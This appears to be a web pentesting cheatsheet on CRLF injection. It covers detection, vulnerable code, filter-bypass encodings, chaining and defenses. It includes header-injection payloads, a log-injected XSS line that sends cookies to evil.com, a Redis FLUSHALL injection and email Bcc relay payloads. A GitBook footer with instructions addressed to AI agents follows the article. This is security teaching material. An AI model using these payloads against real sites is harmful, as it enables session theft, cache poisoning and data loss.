> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/03.-crlf-injection.md).

# 03. CRLF Injection

*Companion to the XSS and Open Redirect cheatsheets. CRLF injection is the "root cause" bug behind HTTP response splitting, header injection, cache poisoning, and several classic chains into XSS and session attacks. This file covers it from the absolute basics through advanced bypasses and chaining.*

***

### Table of Contents

1. 30-Second Primer
2. Types at a Glance
3. Detection Workflow
4. Vulnerable Code Examples
5. Basic Payloads
6. Bypass Techniques
7. Encoding Cheat Table
8. Impact Scenarios
9. Chaining CRLF With Other Bugs
10. Burp Suite Quick Workflow
11. Tools One-Liner Reference
12. Defense Cheat Table

***

### 1. 30-Second Primer

CRLF stands for Carriage Return, Line Feed: the two control characters (`\r\n`, or `%0d%0a` URL-encoded) that terminate a line in the HTTP protocol, in email headers, and in many log formats.

CRLF injection happens when user input reaches a header, a log line, or another CRLF-delimited structure without stripping those characters, letting an attacker inject their own line breaks and, with them, entirely new lines the parser wasn't expecting.

```
Normal:    Location: /dashboard
Injected:  Location: /dashboard%0d%0aSet-Cookie: session=attacker123
```

Everything downstream (Set-Cookie injection, response splitting, cache poisoning, log forgery, header smuggling into XSS) is really just "what can I do once I control where a new line starts." That's the whole concept.

Example:

<https://www.youtube.com/watch?v=QNyOlnHmqCU>

***

### 2. Types at a Glance

| Type                               | Where it lands                                                                                           | Typical impact                                                                                       |
| ---------------------------------- | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
| HTTP header injection              | A single response header built from user input                                                           | Inject arbitrary extra headers (Set-Cookie, cache headers, security headers)                         |
| HTTP response splitting            | Same root cause, but the injected content forges an entirely second HTTP response in the same TCP stream | Cache poisoning, reflected content smuggled past filters that only see the "real" first response     |
| Log injection / log forgery        | User input written into an application/access log without sanitization                                   | Fake log entries, log analysis tool confusion, sometimes log-viewer XSS if logs are rendered as HTML |
| Email header injection             | User input placed into an email's `To`/`Cc`/`Bcc`/`Subject` headers                                      | Spam relay, arbitrary recipient injection, email spoofing                                            |
| Redis/memcached protocol injection | User input reaches a raw protocol command built with CRLF-delimited commands                             | Arbitrary command injection into the backend data store                                              |

***

### 3. Detection Workflow

```
1. Find every place user input reaches: a response header, a redirect Location,
   a Set-Cookie value, a log line, an email field, a raw protocol client
2. Send a canary containing encoded CRLF: %0d%0aX-Canary-Test:%20hit
3. Inspect the RAW response headers (not just the body) for your injected header
4. If blocked, check what's actually stripped: just \r\n literal? Or also
   %0d%0a? Or double-encoded %250d%250a?
5. Try each bypass in Section 6 against that specific filter
6. For log injection: check if logs are later rendered as HTML anywhere
   (admin log viewer) to chain into stored XSS
```

Quick raw-header check with curl:

```bash
curl -sD - "https://target.com/redirect?url=/x%0d%0aX-Injected:%20yes" -o /dev/null
```

Look for `X-Injected: yes` appearing as its own header line in the output.

***

### 4. Vulnerable Code Examples

**Node.js (raw header write, bypassing framework protections)**

```javascript
app.get('/redirect', (req, res) => {
  res.setHeader('Location', req.query.url); // modern Node http module actually
                                             // throws on \r\n by default, but
                                             // custom header-building code or
                                             // older versions may not
  res.end();
});
```

**PHP (classic, historically very common)**

```php
<?php
$url = $_GET['url'];
header("Location: " . $url); // pre-5.1.2 PHP did not strip \r\n at all;
                              // modern PHP blocks literal \r\n but custom
                              // encoding-unaware logic can still slip through
?>
```

**Java (raw response header manipulation)**

```java
String redirectUrl = request.getParameter("url");
response.setHeader("Location", redirectUrl); // vulnerable if the servlet
                                              // container doesn't validate
```

**Log injection (any language, same root cause)**

```python
app.logger.info(f"Login attempt for user: {request.form['username']}")
# username = "admin%0d%0a[INFO] Login attempt for user: root (success)"
# forges a second, fake log line
```

**Email header injection (PHP mail())**

```php
<?php
$to = "support@victim.com";
$subject = "Contact form";
$headers = "From: " . $_POST['email']; // attacker sets email to:
                                        // "attacker@evil.com%0d%0aBcc: victim-list@evil.com"
mail($to, $subject, $message, $headers);
?>
```

***

### 5. Basic Payloads

```
%0d%0aX-Injected-Header:%20value
%0d%0aSet-Cookie:%20session=attackercontrolled
%0d%0a%0d%0a<html><body>injected content</body></html>
%0aX-Injected-Header:%20value          (LF only, some parsers accept this alone)
%0d%0aLocation:%20https://evil.com     (forge a second redirect)
```

Full worked example against a redirect endpoint:

```
https://victim.com/redirect?url=/home%0d%0aSet-Cookie:%20isAdmin=true
```

***

### 6. Bypass Techniques

#### 6.1 LF-only (no CR) when only `\r\n` literal is stripped

```
%0aX-Injected: value
```

Many HTTP parsers (and some log frameworks) treat a bare LF as a line terminator too, even without a preceding CR.

#### 6.2 Double URL encoding

```
%250d%250a
```

Useful when a proxy/WAF decodes once and blocks the literal `%0d%0a`, but the app itself decodes a second time.

#### 6.3 Unicode line separator variants

```
%E2%80%A8   (U+2028 LINE SEPARATOR)
%E2%80%A9   (U+2029 PARAGRAPH SEPARATOR)
```

Some JavaScript engines and older parsers treat these Unicode line-terminator characters as effective line breaks in certain contexts, worth testing when literal CRLF is fully blocked.

#### 6.4 Raw bytes instead of URL-encoded (for raw socket/Burp Repeater testing)

When testing directly with Burp Repeater or a raw socket tool (not through a browser, which always URL-encodes), you can send literal `\r\n` bytes directly in the request, bypassing any client-side encoding assumptions the server-side filter was built around.

#### 6.5 Mixed casing / partial encoding

```
%0D%0a
%0d%0A
```

Some naive filters only check for one exact casing of the encoded sequence.

#### 6.6 Overlong UTF-8 encoding (legacy parsers)

```
%C0%8D%C0%8A
```

Historically used against older, non-standards-strict HTTP parsers that accepted overlong UTF-8 sequences as equivalent to their short form. Rare against modern stacks, but worth knowing for legacy target audits.

***

### 7. Encoding Cheat Table

| Representation                                   | Value                |
| ------------------------------------------------ | -------------------- |
| URL-encoded CRLF                                 | `%0d%0a`             |
| URL-encoded LF only                              | `%0a`                |
| Double URL-encoded                               | `%250d%250a`         |
| Raw bytes (Burp Repeater / raw socket)           | `\r\n`               |
| Unicode line separator                           | `%E2%80%A8` (U+2028) |
| Unicode paragraph separator                      | `%E2%80%A9` (U+2029) |
| HTML entity newline (log/HTML rendering context) | `&#13;&#10;`         |

***

### 8. Impact Scenarios

#### 8.1 Set-Cookie injection

```
%0d%0aSet-Cookie:%20isAdmin=true
```

If the application later trusts a client-readable cookie for any authorization decision (bad practice on its own, but common), this directly escalates privilege without touching the database or session store.

#### 8.2 HTTP response splitting -> cache poisoning

By injecting a full blank line (`%0d%0a%0d%0a`) followed by attacker-controlled content, the attacker forges what looks like the start of a *second* HTTP response within the same connection. If a caching proxy or CDN sits in front of the app and caches based on the request, it can end up caching the attacker's forged response body and serving it to every subsequent visitor of that URL, a very high-impact chain covered further in Section 9.

#### 8.3 Security header stripping or overriding

```
%0d%0aContent-Security-Policy:%20script-src%20*
```

An attacker who can inject headers can potentially override a strict CSP with a permissive one for their crafted request/response, directly enabling an XSS payload that would otherwise be blocked.

#### 8.4 Log forgery

```
admin%0d%0a[INFO] User admin authenticated successfully from 10.0.0.5
```

Used to plant fake log entries, confuse incident responders, or, if the log content is later rendered in an HTML-based log viewer without escaping, chain into stored XSS against whoever reviews the logs (see Section 9.4).

#### 8.5 Email header injection -> spam relay / spoofing

```
attacker@evil.com%0d%0aBcc:%20victim-mailing-list@evil.com
```

Turns a simple "contact us" form into an open relay for spam, or lets an attacker forge the apparent sender of outbound mail from the vulnerable domain, which can also damage that domain's email reputation/deliverability.

***

### 9. Chaining CRLF With Other Bugs

CRLF injection is rarely the finale. It's the mechanism that opens the door to several other, higher-impact bugs.

#### 9.1 The general chaining mental model

```mermaid
flowchart TD
    C["CRLF injection confirmed"] --> Q{"What's downstream?"}
    Q --> A["Redirect endpoint builds Location header from input"] --> A2["Chain: CRLF + open redirect -> forged Set-Cookie or extra headers on the redirect response"]
    Q --> B["A caching proxy/CDN sits in front"] --> B2["Chain: response splitting -> cache poisoning, serves forged content to every visitor"]
    Q --> C2["Security headers (CSP, X-Frame-Options) are set dynamically"] --> C3["Chain: strip/override them -> unlocks XSS or clickjacking that was otherwise blocked"]
    Q --> D["Logs are rendered in an HTML admin viewer"] --> D2["Chain: log injection -> stored XSS against the admin reviewing logs"]
    Q --> E["Session cookie trust model is weak"] --> E2["Chain: Set-Cookie injection -> session fixation or privilege escalation"]
    Q --> F["Backend uses a CRLF-delimited protocol (Redis, SMTP, memcached)"] --> F2["Chain: full protocol/command injection into the backend service"]
```

#### 9.2 CRLF + open redirect -> forged cookies on a trusted-looking bounce

Combine the two: a redirect endpoint that's already vulnerable to open redirect (see the companion Open Redirect Cheatsheet) can often also be pushed to inject a header in the same response, letting an attacker both redirect the victim AND plant a cookie or override a security header in a single crafted link:

```
https://victim.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20tracking=attacker-controlled
```

#### 9.3 CRLF response splitting -> cache poisoning at scale

If a CDN or reverse proxy caches responses keyed by URL, and an attacker's CRLF payload forges a second, fake HTTP response body within the first response, the cache can store that forged body and serve it to every subsequent visitor of that same cached URL, turning a single crafted request into a mass-persistent-defacement or mass-XSS-delivery event without needing to trick each victim individually. This is one of the most severe possible outcomes of CRLF injection and is treated as critical severity whenever a caching layer is confirmed present.

#### 9.4 CRLF log injection -> stored XSS against admins

If application logs are ever rendered through an HTML-based internal dashboard (common in custom-built admin tooling) without output encoding, a CRLF-injected fake log line can itself carry an HTML/JS payload:

```
admin%0d%0a[INFO] <img src=x onerror=fetch('https://evil.com/'+document.cookie)>
```

When an administrator later views the log viewer, the forged line renders as if it were a real log entry, but executes as stored XSS in the admin's session, exactly the "blind XSS in an admin panel" chain described in the XSS cheatsheet, except CRLF injection was the delivery mechanism into the log in the first place.

#### 9.5 CRLF + weak CSP header logic -> unlocking a blocked XSS

If the app's CSP header is set dynamically per-response (for example, reflecting an allowed script source based on a request parameter) and that logic is reachable via CRLF injection, an attacker can inject a permissive `Content-Security-Policy` header value that overrides the intended strict policy, directly unlocking an XSS payload elsewhere on the same page that a correct CSP would otherwise have blocked.

#### 9.6 CRLF into backend protocol clients (Redis, memcached, SMTP)

If user input is concatenated into a raw command sent to a backend service that uses its own CRLF-delimited or newline-delimited protocol, without going through a proper parameterized client library, CRLF injection can smuggle entirely new backend protocol commands:

```
key%0d%0aFLUSHALL%0d%0a
```

This is effectively "protocol injection," the same family of bug as SQL injection but against Redis/memcached/SMTP instead of SQL, and can lead to data loss, cache poisoning at the backend level, or arbitrary command execution against the service depending on what it allows.

#### 9.7 Quick chaining checklist to run through on every confirmed CRLF injection

```
[ ] Is there a caching proxy/CDN in front of this endpoint? -> test for response splitting / cache poisoning
[ ] Is a security header (CSP, X-Frame-Options, HSTS) ever set dynamically from user input on this path?
[ ] Are application logs ever rendered as HTML anywhere (admin dashboard, log viewer)?
[ ] Does this endpoint also have an open redirect? -> combine for cookie/header injection on the bounce
[ ] Does any backend client (Redis, memcached, SMTP, raw socket) build commands via string concatenation with user input?
[ ] Can injected Set-Cookie values influence any authorization decision downstream?
```

***

### 10. Burp Suite Quick Workflow

```
1. Proxy > browse the target, note every response header that looks
   input-influenced (Location, Set-Cookie, custom headers, Content-Disposition)
2. Send the request to Repeater
3. In the parameter value, insert raw \r\n directly in Repeater's editor
   (Repeater sends exactly what you type, no auto-encoding, this is the
   most reliable way to test CRLF since browsers always URL-encode first)
4. Resend, inspect the RAW response headers for your injected line
5. If blocked, try %0d%0a, then %0a alone, then double-encoded %250d%250a
6. For cache poisoning checks: repeat the confirmed payload through the
   actual CDN/production path (not a direct-to-origin bypass) and check
   whether a SECOND, unauthenticated request to the same URL now returns
   your injected content
7. For log injection: inject a payload with a distinctive marker, then
   check any accessible admin/log-viewer interface for the marker rendering
```

***

### 11. Tools One-Liner Reference

| Tool                        | Quick use                                                                              |
| --------------------------- | -------------------------------------------------------------------------------------- |
| Burp Suite                  | Manual testing, Repeater with raw \r\n bytes, Intruder for bypass fuzzing              |
| curl                        | `curl -sD - "https://target.com/x?url=/y%0d%0aX-Test:%20hit" -o /dev/null`             |
| netcat (raw socket testing) | `printf 'GET /redirect?url=/x\r\nX-Injected: yes\r\n\r\n' \| nc target.com 80`         |
| ffuf                        | `ffuf -u "https://target.com/redirect?url=FUZZ" -w crlf-payloads.txt -mr "X-Injected"` |

***

### 12. Defense Cheat Table

| Layer                     | What to do                                                                                                                                                                                          |
| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Header-writing APIs       | Use your framework's built-in header/redirect helpers (they typically reject or strip `\r\n` automatically), never build raw header strings by concatenation                                        |
| Input validation          | Reject any input containing `\r`, `\n`, or their encoded forms (`%0d`, `%0a`, double-encoded variants) destined for a header, log line, or protocol command                                         |
| Logging                   | Use a structured logging library that encodes/escapes newlines in log fields automatically, rather than raw string interpolation into log lines                                                     |
| Log viewers               | If logs are ever rendered as HTML, apply the same context-aware output encoding rules as any other XSS-prone rendering path                                                                         |
| Backend protocol clients  | Always use a proper parameterized client library (real Redis/SMTP/memcached client, not raw socket string building) so user input can never smuggle protocol commands                               |
| Security headers          | Set security headers (CSP, X-Frame-Options, HSTS) as static, server-controlled values wherever possible, never built dynamically from request-controlled input                                      |
| Caching layers            | Configure caches to key on the full normalized request and validate response integrity; monitor for anomalous response sizes/content as an early signal of response-splitting-based cache poisoning |
| Framework/runtime updates | Keep language runtimes and web frameworks current, since many historical CRLF injection classes (like pre-5.1.2 PHP's `header()`) were fixed at the platform level over time                        |

***

**Ethical/legal note:** everything in this cheatsheet is standard, widely-taught security education material, the same content covered by OWASP and every major AppSec course. Only test systems you own or have explicit written authorization to test.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/03.-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
